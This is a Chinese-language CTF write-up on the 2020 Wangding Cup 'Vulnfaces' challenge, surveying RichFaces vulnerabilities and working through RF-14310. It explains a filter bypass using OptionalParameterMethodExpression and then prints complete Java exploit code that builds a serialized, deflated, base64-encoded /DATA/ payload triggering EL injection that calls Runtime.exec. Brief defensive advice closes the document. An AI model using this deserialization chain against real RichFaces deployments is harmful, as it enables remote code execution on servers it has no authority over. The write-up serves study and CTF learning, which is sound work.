从2020网鼎杯决赛Vulnfaces回顾远古漏洞
字数 1832 2025-08-29 08:30:36
Richfaces 框架漏洞分析与利用教学文档
1. 背景介绍
Richfaces 是一个基于 JSF (JavaServer Faces) 和 AJAX 的 Web 应用程序框架,结合了 A4J (AJAX for JavaServer Faces) 技术。本文档将详细分析 Richfaces 框架中的多个安全漏洞及其利用方法。
2. 漏洞概览
文档中涉及的主要漏洞包括:
- ViewState 反序列化漏洞
- CVE-2013-2165
- CVE-2015-0279 (RF-13977)
- CVE-2018-14667
- RF-14310
3. ViewState 反序列化漏洞分析
3.1 ViewState 技术背景
- HTTP 是无状态的协议
- ViewState 是一种保存状态的技术
- Java 经常通过序列化对象在 HTTP 请求中传输状态(参数、ViewState、Cookies等)
3.2 漏洞利用条件
- 使用客户端存储 ViewState
- 禁用加密方法
3.3 实际限制
题目环境配置使用服务端存储 ViewState,因此无法利用此漏洞。
4. CVE-2013-2165 漏洞分析
4.1 漏洞位置
org.ajax4jsf.resource.ResourceBuilderImpl#getResourceDataForKey 方法
4.2 漏洞触发条件
- 当 key 以 "DATA" 开头时,会解密后反序列化数据
4.3 反序列化限制
使用 LookAheadObjectInputStream 类进行反序列化,只允许加载白名单中的类及其子类:
org.ajax4jsf.resource.InternetResource
org.ajax4jsf.resource.SerializableResource
javax.el.Expression
javax.faces.el.MethodBinding
javax.faces.component.StateHolderSaver
java.awt.Color
org.richfaces.renderkit.html.Paint2DResource$ImageData
org.richfaces.demo.paint2d.PaintData
5. CVE-2015-0279 (RF-13977) 漏洞分析
5.1 漏洞位置
org.richfaces.resource.MediaOutputResource 类
5.2 漏洞描述
允许任意 EL (Expression Language) 表达式执行
5.3 实际限制
题目环境中不存在此类,无法利用
6. CVE-2018-14667 漏洞分析
6.1 漏洞位置
UserResource 类
6.2 漏洞描述
允许任意 EL 表达式执行
6.3 实际限制
题目环境中的 UriData 继承自 Serializable,执行后会抛出未授权类异常,无法利用
7. RF-14310 漏洞分析与利用
7.1 漏洞描述
与 CVE-2015-0279 类似,允许任意 EL 表达式执行
7.2 漏洞利用链
- 使用
com.sun.facelets.el.LegacyMethodBinding对象 - 绑定
com.sun.facelets.el.TagMethodExpression对象 - 通过
com.sun.el.MethodExpressionImpl#invoke执行恶意代码
7.3 过滤机制
org.richfaces.renderkit.html.Paint2DResource#send 方法中存在过滤:
- 禁止字符:
\,( - 禁止关键词:
getClass
7.4 绕过方法
利用 org.jboss.seam.el.OptionalParameterMethodExpression 类的特性:
getExpressionString和invoke都使用this.withParam- 当
invoke抛出MethodNotFoundException异常时,使用this.withNoParam
7.5 利用步骤
- 构造正常的
MethodExpressionImpl给withParam通过检查 - 构造恶意的表达式给
withNoParam - 通过添加空格强制抛出方法不存在的异常
- 使用
LegacyMethodBinding封装
8. 完整利用代码
import com.sun.facelets.el.LegacyMethodBinding;
import org.ajax4jsf.util.base64.URL64Codec;
import org.jboss.el.MethodExpressionImpl;
import javax.el.MethodExpression;
import javax.faces.context.FacesContext;
import javax.faces.el.MethodBinding;
import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.io.OutputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.Modifier;
import java.util.zip.Deflater;
public class exp {
public static void main(String[] args) throws Exception {
String pocEL = "#{request.getClass().getClassLoader().loadClass(\"java.lang.Runtime\").getMethod(\"getRuntime\").invoke(null).exec(\"calc\")}";
Class cls = Class.forName("javax.faces.component.StateHolderSaver");
Constructor ct = cls.getDeclaredConstructor(FacesContext.class, Object.class);
ct.setAccessible(true);
// 1. 设置ImageData
// 构造ImageData_paint
MethodExpressionImpl methodExpression1 = new MethodExpressionImpl("#{request.toString }", null, null, null, null, new Class[]{OutputStream.class, Object.class});
MethodExpressionImpl methodExpression2 = new MethodExpressionImpl(pocEL, null, null, null, null, new Class[]{OutputStream.class, Object.class});
Constructor constructor = Class.forName("org.jboss.seam.el.OptionalParameterMethodExpression").getDeclaredConstructor(MethodExpression.class, MethodExpression.class);
constructor.setAccessible(true);
MethodExpression methodExpression = (MethodExpression) constructor.newInstance(methodExpression1, methodExpression2);
MethodBinding methodBinding = new LegacyMethodBinding(methodExpression);
Object _paint = ct.newInstance(null, methodBinding);
Class clzz = Class.forName("org.richfaces.renderkit.html.Paint2DResource");
Class innerClazz[] = clzz.getDeclaredClasses();
for (Class c : innerClazz) {
int mod = c.getModifiers();
String modifier = Modifier.toString(mod);
if (modifier.contains("private")) {
Constructor cc = c.getDeclaredConstructor();
cc.setAccessible(true);
Object imageData = cc.newInstance(null);
// 设置ImageData_width
Field _widthField = imageData.getClass().getDeclaredField("_width");
_widthField.setAccessible(true);
_widthField.set(imageData, 300);
// 设置ImageData_height
Field _heightField = imageData.getClass().getDeclaredField("_height");
_heightField.setAccessible(true);
_heightField.set(imageData, 120);
// 设置ImageData_data
Field _dataField = imageData.getClass().getDeclaredField("_data");
_dataField.setAccessible(true);
_dataField.set(imageData, null);
// 设置ImageData_format
Field _formatField = imageData.getClass().getDeclaredField("_format");
_formatField.setAccessible(true);
_formatField.set(imageData, 2);
// 设置ImageData_paint
Field _paintField = imageData.getClass().getDeclaredField("_paint");
_paintField.setAccessible(true);
_paintField.set(imageData, _paint);
// 设置ImageData_paint
Field cacheableField = imageData.getClass().getDeclaredField("cacheable");
cacheableField.setAccessible(true);
cacheableField.set(imageData, false);
// 设置ImageData_bgColor
Field _bgColorField = imageData.getClass().getDeclaredField("_bgColor");
_bgColorField.setAccessible(true);
_bgColorField.set(imageData, 0);
// 2. 序列化
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
objectOutputStream.writeObject(imageData);
objectOutputStream.flush();
objectOutputStream.close();
byteArrayOutputStream.close();
// 3. 加密(zip+base64)
byte[] pocData = byteArrayOutputStream.toByteArray();
Deflater compressor = new Deflater(1);
byte[] compressed = new byte[pocData.length + 100];
compressor.setInput(pocData);
compressor.finish();
int totalOut = compressor.deflate(compressed);
byte[] zipsrc = new byte[totalOut];
System.arraycopy(compressed, 0, zipsrc, 0, totalOut);
compressor.end();
byte[] dataArray = URL64Codec.encodeBase64(zipsrc);
// 4. 打印最后的poc
String poc = "/DATA/" + new String(dataArray, "ISO-8859-1") + ".jsf";
System.out.println(poc);
}
}
}
}
9. 关键点总结
- 漏洞选择:必须选择符合环境版本和配置的漏洞
- 白名单绕过:利用白名单中允许的类构造利用链
- 异常处理机制:利用异常处理流程绕过过滤机制
- 反射技巧:通过反射访问非公开类和方法
- 序列化处理:正确处理序列化和加密过程
10. 防御建议
- 升级到最新版本的 Richfaces 框架
- 使用服务端存储 ViewState
- 启用 ViewState 加密
- 限制 EL 表达式的执行权限
- 实施严格的输入过滤和验证机制